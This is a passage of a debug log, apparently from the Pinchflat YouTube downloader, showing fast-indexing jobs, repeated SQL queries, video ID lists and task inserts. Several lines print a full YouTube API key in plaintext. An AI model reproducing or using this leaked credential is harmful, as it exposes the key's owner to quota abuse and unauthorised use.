"_EgbBQuviLk", "pTspjZ4Gjwo", "1hQrvRxwITA", "KG4xHJfvHAw", "yza8omO0x6s", "x0tgdtpjnpc", "ZdH7NdO7efQ", "hi8X2YhiP8A", "yxrbW3ofuJo", "7Sz9VfcOEKo", "baF6VombepE", "Pa53dGNd9Fw", "p3P-Kod95V4", "7y4_DW4L8Hc", "OZUf6aTxUZE", "jgQGUwBGva4", "TeV0gYqyBnY", "ezKhazl-mdI", "pEmZcPGnYfc", "vPA3i--1sM4", "xT4HZZ2N2-c", "vC9N7PgIvEM", "A0mp9XB_MaU", "ZXK6IywE0bQ", "o1wXhGL8_GM", "j801RCel8Nc", "EIUwdOmluFE", "oka31nU8V1c", ...] 16:36:32.704 [debug] QUERY OK source="media_items" db=0.6ms idle=123.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 16:36:32.705 [debug] QUERY OK source="tasks" db=0.1ms idle=124.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800001, 33, ~U[2026-02-10 22:36:32Z], ~U[2026-02-10 22:36:32Z]] 16:36:32.705 [info] {"args":{"id":33},"id":3799962,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":125456,"event":"job:stop","queue_time":485374,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:33.580 [info] {"args":{"id":12},"id":3799963,"meta":{},"system_time":1770762993580831724,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:33.581 [info] {"args":{"id":11},"id":3799964,"meta":{},"system_time":1770762993580887126,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:33.581 [debug] QUERY OK source="sources" db=0.2ms idle=876.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 16:36:33.581 [debug] QUERY OK source="sources" db=0.2ms idle=875.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 16:36:33.581 [debug] QUERY OK source="settings" db=0.1ms idle=869.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:33.581 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:33.581 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:36:33.581 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:36:33.581 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:33.582 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 16:36:33.582 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:33.582 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 16:36:33.582 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:33.582 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:36:33.582 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:33.582 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:36:33.666 [debug] QUERY OK source="media_items" db=0.7ms idle=84.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "qPHwRGTGIOU", "GPSNT5vjSO8", "DwdL0AuomMU", "rzw4qL_UYms", "SbfGsYGmtvo", "aDMmIaj6YYY", "EapmwCmB2ZU", "wNqOyIOkE0g", "2JE39EiF7QY", "v3CorAvJSj8", "TkTLGcowRjo", "8EjtJZpkuDE", "VevHScaB_Kk", "0rXpncpkLcw", "4w68dxCyjLg", "4lf3C1Jv0sE", "bfKoARppLGw", "ILWWKspXrwY", "FRms-dKHwe8", "yfw74KelJFk", "JXbldzWu-Nc", "3lXAPC-8IC4", "slVuVPAUNI4", "cwNSjMBnZYA", "N1CGq7zSjjM", "0lc3PF49yOQ", "rYivduQ5Xww", "5JfhSmrKK3A", "-4VeoAkKFg4", "Lztt0KYUpRU", "efwg7hwFbeU", "tdU3lMg5K2A", "O8PKhwdFXHk", "vEfPCID6jf4", "e2Kb6Z1oGrc", "7gTz_JmlYtQ", "H175G8NH2Cg", "3EoARmGYyVc", "ogYzdHzumeA", "nrioXZyigd8", "kq3Q7jlcDDQ", "8iprAik8kjk", "yRzc5_uGNO4", "7qTWoV6WUV4", "N1eo5bXtZeM", "QRS3uWoAHBk", "csKezW4PZ2w", "-sDDoW7YAow", "iEAShZ8TJCs", ...] 16:36:33.667 [debug] QUERY OK source="media_items" db=0.4ms idle=85.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 16:36:33.668 [debug] QUERY OK source="tasks" db=0.1ms idle=86.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800002, 12, ~U[2026-02-10 22:36:33Z], ~U[2026-02-10 22:36:33Z]] 16:36:33.668 [info] {"args":{"id":12},"id":3799963,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":87817,"event":"job:stop","queue_time":462953,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:33.807 [debug] QUERY OK source="media_items" db=0.6ms idle=138.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", "APT6FONMqFQ", "jTzjkaEKZo8", "1WLIY7oObvU", "01jJv0C_028", "YGTkjchlVJk", "fRRNSEb1DAQ", "lhRp_QECX9g", "eo9_K98nypE", "atYcpCoghnc", "WdxJtYWAhjc", "WczhEQj_g3A", "oN784HF4U5Y", "HLmZAlE-064", "HzxAeHQyiks", "yZ5KOG8BAVU", "HoSf21Arj8A", "Lc5_OKMgfQw", "yD4EoHnztaY", "s8sYp-AcwKk", "bDJNd8XWJIU", "vjrknR9r15o", "_p4RbXLW8aY", "bJ6GRkVCBQU", "iUF8VlcIAyI", "1nuCcmCl-9E", "wqfVfS0_J9M", "905tTzUrd-U", "PMSkzMSFfAo", "QQk7KKQ8jTo", "gVcOnLxnsu0", ...] 16:36:33.809 [debug] QUERY OK source="media_items" db=1.1ms idle=139.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 16:36:33.809 [debug] QUERY OK source="tasks" db=0.1ms idle=135.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800003, 11, ~U[2026-02-10 22:36:33Z], ~U[2026-02-10 22:36:33Z]] 16:36:33.810 [info] {"args":{"id":11},"id":3799964,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":228987,"event":"job:stop","queue_time":307954,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:34.583 [info] {"args":{"id":27},"id":3799965,"meta":{},"system_time":1770762994583862056,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:34.584 [info] {"args":{"id":28},"id":3799966,"meta":{},"system_time":1770762994583911744,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:34.584 [debug] QUERY OK source="sources" db=0.2ms idle=774.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 16:36:34.584 [debug] QUERY OK source="sources" db=0.1ms idle=774.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 16:36:34.584 [debug] QUERY OK source="settings" db=0.3ms idle=767.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:34.584 [debug] QUERY OK source="settings" db=0.4ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:34.585 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:36:34.585 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:36:34.585 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:34.585 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 16:36:34.585 [debug] QUERY OK source="settings" db=0.4ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:34.585 [debug] QUERY OK source="settings" db=0.2ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:34.585 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 16:36:34.585 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:36:34.586 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:34.586 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:36:34.676 [debug] QUERY OK source="media_items" db=0.6ms idle=90.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", "uASY_3OWFPY", "jUkex-blvkE", "bsfBxs53vBo", "czgTn7UK7A0", "Z_ubhyYgu5Y", "jqlqCIZ3Kfg", "LwMvVo0ui4Q", "fyWiYxOP-xM", "YwwBVKLaBp0", "i04y5n2oTsw", "08ET5Wwg57w", "MavRTdhksZg", "uF_9JGWVV4g", "tUKEzxlfmVE", "NLjiMjJyZoI", "pZaCe-7AEZU", "66Gvth4wHiA", "wBX5sniPBQw", "EQHuOwCGuy8", "RC2lR0Rle5k", ...] 16:36:34.678 [debug] QUERY OK source="media_items" db=0.7ms idle=92.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 16:36:34.678 [debug] QUERY OK source="tasks" db=0.0ms idle=92.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800004, 27, ~U[2026-02-10 22:36:34Z], ~U[2026-02-10 22:36:34Z]] 16:36:34.679 [info] {"args":{"id":27},"id":3799965,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":95077,"event":"job:stop","queue_time":499299,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:34.818 [debug] QUERY OK source="media_items" db=0.8ms idle=139.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", 